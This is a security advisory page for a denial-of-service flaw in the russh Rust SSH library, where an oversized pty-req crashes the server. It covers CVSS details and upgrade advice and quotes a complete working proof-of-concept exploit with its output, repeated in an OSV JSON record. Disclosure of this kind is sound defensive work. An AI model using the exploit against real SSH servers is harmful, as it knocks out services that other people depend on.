CVE-2026-73489: Russh Post-auth Remote Panic Vulnerability

MODERATE
Advisory Identifier: GHSA-cqjc-rmpq-xprq
CVSS 4.3
CWE-129
Published
Advisory Summary

CVE-2026-73489 is a MODERATE (CVSS 4.3) post-auth remote panic vulnerability (CWE-129: Improper Validation of Array Index) affecting Russh libraries in the crates.io ecosystem. The issue involves post-auth remote panic via pty-req with more than 130 terminal-mode records. Remediation is available by upgrading affected packages to version 0.62.4.

CVE-2026-73489 at a Glance

CVE Identifier CVE-2026-73489
GHSA Identifier GHSA-cqjc-rmpq-xprq
Severity MODERATE
CVSS v3.1 Base Score 4.3
CWE Classification CWE-129: Improper Validation of Array Index
Affected Product Russh
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 4.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability Low (A:L)

How to Fix CVE-2026-73489

To remediate this vulnerability, upgrade all affected Russh dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

russh fixed: 0.62.4
Upgrade russh to 0.62.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for russh

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-73489, inspect your project dependencies for Russh:

inspect dependencies for russh

Analyze the terminal output to locate any version of Russh in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.62.4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-129: Improper Validation of Array Index, where the product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array. In Russh, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A post-authentication denial-of-service panic in `russh` 0.62.2 (commit `c4be19f1915c8682f4615c3fd50008512b474491`, current default branch `main` as of 2026-07-22). An authenticated client sends a `pty-req` channel request carrying more than 130 terminal-mode records. The parser uses a fixed `[(Pty::TTY_OP_END, 0); 130]` array but increments its counter `i` for every valid record (logging "too many pty codes" without returning), then slices `&modes[0..i]` — an out-of-bounds slice that **panics** (`range end index 131 out of range for slice of length 130`) before the application `pty_request` handler runs. This is reachable with the **default** server configuration and the **default** crypto config (curve25519-sha256 + chacha20-poly1305), requiring only an authenticated session channel — no caller-supplied parameter. It is reproduced end-to-end against the unmodified real russh 0.62.2 library (a real `russh::client` + `russh::server` over TCP, using the public `Channel::request_pty(...)` API); the PoC below links the real crate, not a copied snippet. The defect is still present on `main` HEAD (`v0.62.3`, 2026-07-22) and is not covered by any of the 11 published russh GHSA advisories (GHSA-4r3c-5hpg-58qr / CVE-2026-48110 is allocation-first string parsing, not the fixed-array slice overflow; it was fixed in 0.61.0 but this code path still overflows the fixed array). Rust bounds-checked panics abort the task safely (no memory corruption / RCE); the impact is remote **denial of service**. ## Details `russh/src/server/encrypted.rs`, `pty-req` handling (lines 1137–1201): ```rust let mut modes = [(Pty::TTY_OP_END, 0); 130]; // fixed 130-entry array (line 1137) let mut i = 0; ... while !mode_bytes.is_empty() { let code = mode_bytes[0]; if code == 0 { if mode_bytes.len() != 1 { return Err(...); } break; } if mode_bytes.len() < 5 { return Err(...); } let num = BigEndian::read_u32(&mode_bytes[1..5]); if let Some(code) = Pty::from_u8(code) { if i < 130 { modes[i] = (code, num); } else { error!("pty-req: too many pty codes"); // logs, does NOT return (line 1162) } } i += 1; // keeps growing past 130 mode_bytes = &mode_bytes[5..]; } ... handler.pty_request(channel_num, &term, ..., &modes[0..i], self).await // line 1201 — OOB when i > 130 ``` Each terminal-mode record is exactly 5 bytes (1-byte opcode + 4-byte value), and `i += 1` runs for **every** valid record (including repeats of the same opcode). The `if i < 130` write-gate prevents an in-array overflow but the counter still grows unbounded, and the later `&modes[0..i]` slice has no corresponding bound. SSH packet-size limits do not bound the mode count to 130, so a single normal-sized `pty-req` can carry hundreds of mode records. The client's own `request_pty` serialization (`russh/src/client/session.rs`: ```rust ((1 + 5 * terminal_modes.len()) as u32).encode(&mut enc.write)?; // line 129 for &(code, value) in terminal_modes { if code == Pty::TTY_OP_END { continue; } (code as u8).encode(&mut enc.write)?; value.encode(&mut enc.write)?; // line 135 } ``` writes every record with no count cap, so 131 records reach the server as a legitimate authenticated channel request. ## PoC The PoC is a standalone `examples/` binary that links the **unmodified** real russh 0.62.2 crate and reproduces over a real TCP connection with the default crypto config. It runs an ATTACK case (131 mode records → panic) and a CONTROL case (130 mode records → parses fine), proving the panic is caused specifically by exceeding the 130-entry array. ### One-line reproducer ```bash # Drop the .rs below into russh/examples/ of a checkout of # Eugeny/russh @ c4be19f1915c (tag v0.62.2), then: cargo +stable build --release --example e2e_c15_pty_modes_panic RUST_BACKTRACE=1 ./target/release/examples/e2e_c15_pty_modes_panic ``` ### `russh/examples/e2e_c15_pty_modes_panic.rs` ```rust // End-to-end PoC: an authenticated pty-req with more than 130 terminal-mode // records panics the russh server in its pty-req parser. // // A real `russh::client` + `russh::server` with the DEFAULT crypto config // (curve25519-sha256 + chacha20-poly1305). The client authenticates (auth_none), // opens a session channel, and calls the public Channel::request_pty(...) API // with 131 (ATTACK) and 130 (CONTROL) terminal-mode records. The server // panics in its pty-req parser (&modes[0..i] OOB) on 131, parses fine on 130. use std::sync::atomic::{AtomicBool, Ordering}; use std::sync::{Arc, Mutex}; use russh::keys::Algorithm; use russh::server::{self, Auth, ChannelOpenHandle, Handler, Msg, Session}; use russh::{Channel, ChannelId, Pty}; use tokio::net::TcpListener; #[tokio::main] async fn main() { println!("=== russh pty-req mode overflow panic (real russh 0.62.2, default crypto) ===\n"); let (atk_panic, atk_handler) = run_case(131, "ATTACK ").await; // expect panic println!(); let (ctl_panic, ctl_handler) = run_case(130, "CONTROL").await; // expect ok println!("\n=== summary ==="); println!("case | server panicked | pty_request handler ran"); println!("ATTACK | {atk_panic:<15} | {atk_handler} (131 mode records)"); println!("CONTROL | {ctl_panic:<15} | {ctl_handler} (130 mode records)"); if atk_panic && !atk_handler && !ctl_panic && ctl_handler { println!("\n=> CONFIRMED (end-to-end, real russh 0.62.2):"); println!(" A single authenticated SSH_MSG_CHANNEL_REQUEST `pty-req`"); println!(" carrying 131 valid terminal-mode records makes the real"); println!(" russh server panic in its pty-req parser"); println!(" (range end index 131 out of range for slice of length 130)"); println!(" before the application pty_request handler runs."); } else { eprintln!("NOT reproduced"); std::process::exit(1); } } async fn run_case(num_modes: usize, label: &'static str) -> (bool, bool) { let panicked = Arc::new(AtomicBool::new(false)); { let flag = panicked.clone(); let prev = std::panic::take_hook(); std::panic::set_hook(Box::new(move |info| { flag.store(true, Ordering::SeqCst); eprintln!("[{label} server task panicked] {info}"); prev(info); })); } let events: Arc<Mutex<Vec<&'static str>>> = Arc::new(Mutex::new(Vec::new())); // real russh server, DEFAULT crypto config (curve25519 + chacha20) let mut config = server::Config::default(); config.inactivity_timeout = None; config.auth_rejection_time = std::time::Duration::from_millis(1); config.auth_rejection_time_initial = Some(std::time::Duration::from_millis(1)); config.keys.push(russh::keys::PrivateKey::random(&mut rand::rng(), Algorithm::Ed25519).unwrap()); let config = Arc::new(config); let listener = TcpListener::bind("127.0.0.1:0").await.unwrap(); let addr = listener.local_addr().unwrap(); let server_events = events.clone(); let server_task = tokio::spawn(async move { let (socket, _peer) = listener.accept().await.unwrap(); let handler = PtyServer { events: server_events }; let session = server::run_stream(config, socket, handler).await.unwrap(); session.await }); // real russh client (default config: real ECDH + encryption + auth) let client_config = Arc::new(russh::client::Config::default()); let mut session = russh::client::connect(client_config, addr, AcceptAllClient {}).await.unwrap(); let auth = session.authenticate_none("attacker").await.unwrap(); assert!(auth.success(), "[{label}] auth_none did not succeed"); let channel = session.channel_open_session().await.unwrap(); println!("[{label}] authenticated + opened session channel"); // terminal_modes: num_modes records of (VINTR, 42). The client serializes // all of them with no count cap (client/session.rs:129-137). let modes: Vec<(Pty, u32)> = vec![(Pty::VINTR, 42u32); num_modes]; let want_reply = true; let pty_result = tokio::time::timeout( std::time::Duration::from_secs(3), channel.request_pty(want_reply, "xterm", 80, 24, 0, 0, &modes), ).await; println!("[{label}] client request_pty({num_modes} modes) -> {pty_result:?}"); let _ = tokio::time::timeout(std::time::Duration::from_secs(1), server_task).await; let server_panicked = panicked.load(Ordering::SeqCst); let handler_ran = events.lock().unwrap().contains(&"pty_request"); println!("[{label}] server task panicked = {server_panicked}, pty_request handler ran = {handler_ran}"); let _ = std::panic::take_hook(); (server_panicked, handler_ran) } #[derive(Clone)] struct PtyServer { events: Arc<Mutex<Vec<&'static str>>> } impl PtyServer { fn record(&self, e: &'static str) { self.events.lock().unwrap().push(e); } } impl Handler for PtyServer { type Error = russh::Error; async fn auth_none(&mut self, _user: &str) -> Result<Auth, Self::Error> { Ok(Auth::Accept) } async fn channel_open_session( &mut self, _channel: Channel<Msg>, reply: ChannelOpenHandle, _session: &mut Session, ) -> Result<(), Self::Error> { reply.accept().await; Ok(()) } async fn pty_request( &mut self, _channel: ChannelId, _term: &str, _col_width: u32, _row_height: u32, _pix_width: u32, _pix_height: u32, _modes: &[(Pty, u32)], _session: &mut Session, ) -> Result<(), Self::Error> { self.record("pty_request"); Ok(()) } } #[derive(Clone)] struct AcceptAllClient {} impl russh::client::Handler for AcceptAllClient { type Error = russh::Error; async fn check_server_key( &mut self, _server_public_key: &russh::keys::PublicKey, ) -> Result<bool, Self::Error> { Ok(true) } } ``` Real captured output (ATTACK, `RUST_BACKTRACE=1`): ``` [ATTACK ] client request_pty(131 modes) -> Ok(Ok(())) [ATTACK server task panicked] panicked at russh/src/server/encrypted.rs:1201:39: range end index 131 out of range for slice of length 130 thread 'tokio-rt-worker' panicked at russh/src/server/encrypted.rs:1201:39 stack backtrace: 3: <Session>::server_read_authenticated::<PtyServer> 4: <Session>::process_packet::<PtyServer> 5: russh::server::reply::<PtyServer> [ATTACK ] server task panicked = true, pty_request handler ran = false [CONTROL] server task panicked = false, pty_request handler ran = true => CONFIRMED (end-to-end, real russh 0.62.2) ``` The panic occurs in russh's own post-auth parser before any application handler is invoked. ## Impact **Remote, post-authentication denial of service of any russh SSH server using the default configuration.** Any authenticated client with a session channel can crash the russh server task with a single `SSH_MSG_CHANNEL_REQUEST` `pty-req` carrying 131+ terminal-mode records (each record is 5 bytes, so 131 records fit in one normal-sized packet). This is trivially reachable for any legitimate or compromised SSH user. DoS only — Rust bounds-checked panics abort the task safely; there is no memory corruption or RCE. ### Suggested fix Cap `i` at 130 and reject the request instead of logging and continuing: ```rust if i >= 130 { return Err(Error::Inconsistent.into()); // reject instead of logging+continuing } modes[i] = (code, num); ``` ### Affected versions - `russh` **<= 0.62.3** (commit `c4be19f1915c` / current `main` HEAD `v0.62.3`, 2026-07-22). The bug is still present on `main`; it is not covered by any of the 11 published russh GHSA advisories. Default `server::Config` and `client::Config` are affected (no feature flag or opt-in). ## Credit Reported by the diff/ambidiff security research effort (afldl). Happy to coordinate a disclosure timeline; will request a CVE once confirmed.

CVE-2026-73489 Affected Russh Versions

1 component(s)
Fixed Versions:
0.62.4
Product / Package Ecosystem Affected Versions Fixed Version
russh
crates.io
< 0.62.4
0.62.4

References

Frequently Asked Questions

What is CVE-2026-73489?
CVE-2026-73489 is a security vulnerability in Russh involving Post-auth remote panic via pty-req with more than 130 terminal-mode records under CWE-129: Improper Validation of Array Index.
Which Russh versions are affected?
Affected versions include releases prior to 0.62.4 across affected packages: russh.
What version fixes CVE-2026-73489?
Upgrading to 0.62.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is russh affected?
Yes, russh is affected in releases prior to 0.62.4. Upgrade your dependency to 0.62.4 or later.
What is the CVSS score of CVE-2026-73489?
CVE-2026-73489 has a CVSS v3.1 base score of 4.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L.
What CWE is associated with CVE-2026-73489?
CVE-2026-73489 is classified under CWE-129: Improper Validation of Array Index (The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array.).
How can I check crates.io dependencies for CVE-2026-73489?
Run the dependency tree command: 'inspect dependencies for russh'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cqjc-rmpq-xprq",
  "modified" : "2026-08-12T20:56:50Z",
  "published" : "2026-07-24T16:46:13Z",
  "aliases" : [ "CVE-2026-73489" ],
  "summary" : "Russh: Post-auth remote panic via pty-req with more than 130 terminal-mode records",
  "details" : "## Summary\n\nA post-authentication denial-of-service panic in `russh` 0.62.2 (commit\n`c4be19f1915c8682f4615c3fd50008512b474491`, current default branch `main` as\nof 2026-07-22). An authenticated client sends a `pty-req` channel request\ncarrying more than 130 terminal-mode records. The parser uses a fixed\n`[(Pty::TTY_OP_END, 0); 130]` array but increments its counter `i` for every\nvalid record (logging \"too many pty codes\" without returning), then slices\n`&modes[0..i]` — an out-of-bounds slice that **panics** (`range end index 131\nout of range for slice of length 130`) before the application `pty_request`\nhandler runs.\n\nThis is reachable with the **default** server configuration and the **default**\ncrypto config (curve25519-sha256 + chacha20-poly1305), requiring only an\nauthenticated session channel — no caller-supplied parameter. It is reproduced\nend-to-end against the unmodified real russh 0.62.2 library (a real\n`russh::client` + `russh::server` over TCP, using the public\n`Channel::request_pty(...)` API); the PoC below links the real crate, not a\ncopied snippet. The defect is still present on `main` HEAD (`v0.62.3`,\n2026-07-22) and is not covered by any of the 11 published russh GHSA\nadvisories (GHSA-4r3c-5hpg-58qr / CVE-2026-48110 is allocation-first string\nparsing, not the fixed-array slice overflow; it was fixed in 0.61.0 but this\ncode path still overflows the fixed array).\n\nRust bounds-checked panics abort the task safely (no memory corruption / RCE);\nthe impact is remote **denial of service**.\n\n## Details\n\n`russh/src/server/encrypted.rs`, `pty-req` handling (lines 1137–1201):\n\n```rust\nlet mut modes = [(Pty::TTY_OP_END, 0); 130];     // fixed 130-entry array (line 1137)\nlet mut i = 0;\n...\nwhile !mode_bytes.is_empty() {\n    let code = mode_bytes[0];\n    if code == 0 { if mode_bytes.len() != 1 { return Err(...); } break; }\n    if mode_bytes.len() < 5 { return Err(...); }\n    let num = BigEndian::read_u32(&mode_bytes[1..5]);\n    if let Some(code) = Pty::from_u8(code) {\n        if i < 130 {\n            modes[i] = (code, num);\n        } else {\n            error!(\"pty-req: too many pty codes\");   // logs, does NOT return (line 1162)\n        }\n    }\n    i += 1;                                          // keeps growing past 130\n    mode_bytes = &mode_bytes[5..];\n}\n...\nhandler.pty_request(channel_num, &term, ..., &modes[0..i], self).await  // line 1201 — OOB when i > 130\n```\n\nEach terminal-mode record is exactly 5 bytes (1-byte opcode + 4-byte value),\nand `i += 1` runs for **every** valid record (including repeats of the same\nopcode). The `if i < 130` write-gate prevents an in-array overflow but the\ncounter still grows unbounded, and the later `&modes[0..i]` slice has no\ncorresponding bound. SSH packet-size limits do not bound the mode count to\n130, so a single normal-sized `pty-req` can carry hundreds of mode records.\nThe client's own `request_pty` serialization (`russh/src/client/session.rs`:\n\n```rust\n((1 + 5 * terminal_modes.len()) as u32).encode(&mut enc.write)?;   // line 129\nfor &(code, value) in terminal_modes {\n    if code == Pty::TTY_OP_END { continue; }\n    (code as u8).encode(&mut enc.write)?;\n    value.encode(&mut enc.write)?;                                   // line 135\n}\n```\n\nwrites every record with no count cap, so 131 records reach the server as a\nlegitimate authenticated channel request.\n\n## PoC\n\nThe PoC is a standalone `examples/` binary that links the **unmodified** real\nrussh 0.62.2 crate and reproduces over a real TCP connection with the default\ncrypto config. It runs an ATTACK case (131 mode records → panic) and a CONTROL\ncase (130 mode records → parses fine), proving the panic is caused\nspecifically by exceeding the 130-entry array.\n\n### One-line reproducer\n\n```bash\n# Drop the .rs below into russh/examples/ of a checkout of\n# Eugeny/russh @ c4be19f1915c (tag v0.62.2), then:\ncargo +stable build --release --example e2e_c15_pty_modes_panic\nRUST_BACKTRACE=1 ./target/release/examples/e2e_c15_pty_modes_panic\n```\n\n### `russh/examples/e2e_c15_pty_modes_panic.rs`\n\n```rust\n// End-to-end PoC: an authenticated pty-req with more than 130 terminal-mode\n// records panics the russh server in its pty-req parser.\n//\n// A real `russh::client` + `russh::server` with the DEFAULT crypto config\n// (curve25519-sha256 + chacha20-poly1305). The client authenticates (auth_none),\n// opens a session channel, and calls the public Channel::request_pty(...) API\n// with 131 (ATTACK) and 130 (CONTROL) terminal-mode records. The server\n// panics in its pty-req parser (&modes[0..i] OOB) on 131, parses fine on 130.\n\nuse std::sync::atomic::{AtomicBool, Ordering};\nuse std::sync::{Arc, Mutex};\n\nuse russh::keys::Algorithm;\nuse russh::server::{self, Auth, ChannelOpenHandle, Handler, Msg, Session};\nuse russh::{Channel, ChannelId, Pty};\nuse tokio::net::TcpListener;\n\n#[tokio::main]\nasync fn main() {\n    println!(\"=== russh pty-req mode overflow panic (real russh 0.62.2, default crypto) ===\\n\");\n\n    let (atk_panic, atk_handler) = run_case(131, \"ATTACK \").await; // expect panic\n    println!();\n    let (ctl_panic, ctl_handler) = run_case(130, \"CONTROL\").await; // expect ok\n\n    println!(\"\\n=== summary ===\");\n    println!(\"case    | server panicked | pty_request handler ran\");\n    println!(\"ATTACK  | {atk_panic:<15} | {atk_handler}   (131 mode records)\");\n    println!(\"CONTROL | {ctl_panic:<15} | {ctl_handler}   (130 mode records)\");\n\n    if atk_panic && !atk_handler && !ctl_panic && ctl_handler {\n        println!(\"\\n=> CONFIRMED (end-to-end, real russh 0.62.2):\");\n        println!(\"   A single authenticated SSH_MSG_CHANNEL_REQUEST `pty-req`\");\n        println!(\"   carrying 131 valid terminal-mode records makes the real\");\n        println!(\"   russh server panic in its pty-req parser\");\n        println!(\"   (range end index 131 out of range for slice of length 130)\");\n        println!(\"   before the application pty_request handler runs.\");\n    } else {\n        eprintln!(\"NOT reproduced\");\n        std::process::exit(1);\n    }\n}\n\nasync fn run_case(num_modes: usize, label: &'static str) -> (bool, bool) {\n    let panicked = Arc::new(AtomicBool::new(false));\n    {\n        let flag = panicked.clone();\n        let prev = std::panic::take_hook();\n        std::panic::set_hook(Box::new(move |info| {\n            flag.store(true, Ordering::SeqCst);\n            eprintln!(\"[{label} server task panicked] {info}\");\n            prev(info);\n        }));\n    }\n\n    let events: Arc<Mutex<Vec<&'static str>>> = Arc::new(Mutex::new(Vec::new()));\n\n    // real russh server, DEFAULT crypto config (curve25519 + chacha20)\n    let mut config = server::Config::default();\n    config.inactivity_timeout = None;\n    config.auth_rejection_time = std::time::Duration::from_millis(1);\n    config.auth_rejection_time_initial = Some(std::time::Duration::from_millis(1));\n    config.keys.push(russh::keys::PrivateKey::random(&mut rand::rng(), Algorithm::Ed25519).unwrap());\n    let config = Arc::new(config);\n\n    let listener = TcpListener::bind(\"127.0.0.1:0\").await.unwrap();\n    let addr = listener.local_addr().unwrap();\n\n    let server_events = events.clone();\n    let server_task = tokio::spawn(async move {\n        let (socket, _peer) = listener.accept().await.unwrap();\n        let handler = PtyServer { events: server_events };\n        let session = server::run_stream(config, socket, handler).await.unwrap();\n        session.await\n    });\n\n    // real russh client (default config: real ECDH + encryption + auth)\n    let client_config = Arc::new(russh::client::Config::default());\n    let mut session = russh::client::connect(client_config, addr, AcceptAllClient {}).await.unwrap();\n    let auth = session.authenticate_none(\"attacker\").await.unwrap();\n    assert!(auth.success(), \"[{label}] auth_none did not succeed\");\n\n    let channel = session.channel_open_session().await.unwrap();\n    println!(\"[{label}] authenticated + opened session channel\");\n\n    // terminal_modes: num_modes records of (VINTR, 42). The client serializes\n    // all of them with no count cap (client/session.rs:129-137).\n    let modes: Vec<(Pty, u32)> = vec![(Pty::VINTR, 42u32); num_modes];\n    let want_reply = true;\n\n    let pty_result = tokio::time::timeout(\n        std::time::Duration::from_secs(3),\n        channel.request_pty(want_reply, \"xterm\", 80, 24, 0, 0, &modes),\n    ).await;\n    println!(\"[{label}] client request_pty({num_modes} modes) -> {pty_result:?}\");\n\n    let _ = tokio::time::timeout(std::time::Duration::from_secs(1), server_task).await;\n    let server_panicked = panicked.load(Ordering::SeqCst);\n    let handler_ran = events.lock().unwrap().contains(&\"pty_request\");\n    println!(\"[{label}] server task panicked = {server_panicked}, pty_request handler ran = {handler_ran}\");\n    let _ = std::panic::take_hook();\n    (server_panicked, handler_ran)\n}\n\n#[derive(Clone)]\nstruct PtyServer { events: Arc<Mutex<Vec<&'static str>>> }\nimpl PtyServer {\n    fn record(&self, e: &'static str) { self.events.lock().unwrap().push(e); }\n}\nimpl Handler for PtyServer {\n    type Error = russh::Error;\n    async fn auth_none(&mut self, _user: &str) -> Result<Auth, Self::Error> { Ok(Auth::Accept) }\n    async fn channel_open_session(\n        &mut self, _channel: Channel<Msg>, reply: ChannelOpenHandle, _session: &mut Session,\n    ) -> Result<(), Self::Error> { reply.accept().await; Ok(()) }\n    async fn pty_request(\n        &mut self, _channel: ChannelId, _term: &str, _col_width: u32, _row_height: u32,\n        _pix_width: u32, _pix_height: u32, _modes: &[(Pty, u32)], _session: &mut Session,\n    ) -> Result<(), Self::Error> { self.record(\"pty_request\"); Ok(()) }\n}\n\n#[derive(Clone)]\nstruct AcceptAllClient {}\nimpl russh::client::Handler for AcceptAllClient {\n    type Error = russh::Error;\n    async fn check_server_key(\n        &mut self, _server_public_key: &russh::keys::PublicKey,\n    ) -> Result<bool, Self::Error> { Ok(true) }\n}\n```\n\nReal captured output (ATTACK, `RUST_BACKTRACE=1`):\n\n```\n[ATTACK ] client request_pty(131 modes) -> Ok(Ok(()))\n[ATTACK  server task panicked] panicked at russh/src/server/encrypted.rs:1201:39:\nrange end index 131 out of range for slice of length 130\nthread 'tokio-rt-worker' panicked at russh/src/server/encrypted.rs:1201:39\nstack backtrace:\n   3: <Session>::server_read_authenticated::<PtyServer>\n   4: <Session>::process_packet::<PtyServer>\n   5: russh::server::reply::<PtyServer>\n[ATTACK ] server task panicked = true, pty_request handler ran = false\n[CONTROL] server task panicked = false, pty_request handler ran = true\n=> CONFIRMED (end-to-end, real russh 0.62.2)\n```\n\nThe panic occurs in russh's own post-auth parser before any application\nhandler is invoked.\n\n## Impact\n\n**Remote, post-authentication denial of service of any russh SSH server using\nthe default configuration.** Any authenticated client with a session channel can\ncrash the russh server task with a single `SSH_MSG_CHANNEL_REQUEST` `pty-req`\ncarrying 131+ terminal-mode records (each record is 5 bytes, so 131 records\nfit in one normal-sized packet). This is trivially reachable for any legitimate\nor compromised SSH user. DoS only — Rust bounds-checked panics abort the task\nsafely; there is no memory corruption or RCE.\n\n### Suggested fix\n\nCap `i` at 130 and reject the request instead of logging and continuing:\n\n```rust\nif i >= 130 {\n    return Err(Error::Inconsistent.into());   // reject instead of logging+continuing\n}\nmodes[i] = (code, num);\n```\n\n### Affected versions\n\n- `russh` **<= 0.62.3** (commit `c4be19f1915c` / current `main` HEAD\n  `v0.62.3`, 2026-07-22). The bug is still present on `main`; it is not covered\n  by any of the 11 published russh GHSA advisories. Default `server::Config`\n  and `client::Config` are affected (no feature flag or opt-in).\n\n## Credit\n\nReported by the diff/ambidiff security research effort (afldl). Happy to\ncoordinate a disclosure timeline; will request a CVE once confirmed.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "russh"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.62.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.62.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Eugeny/russh/security/advisories/GHSA-cqjc-rmpq-xprq"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Eugeny/russh/commit/8912512371820167a12a0a638bd666856ce458ad"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Eugeny/russh"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Eugeny/russh/releases/tag/v0.62.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-129" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-24T16:46:13Z",
    "nvd_published_at" : null
  }
}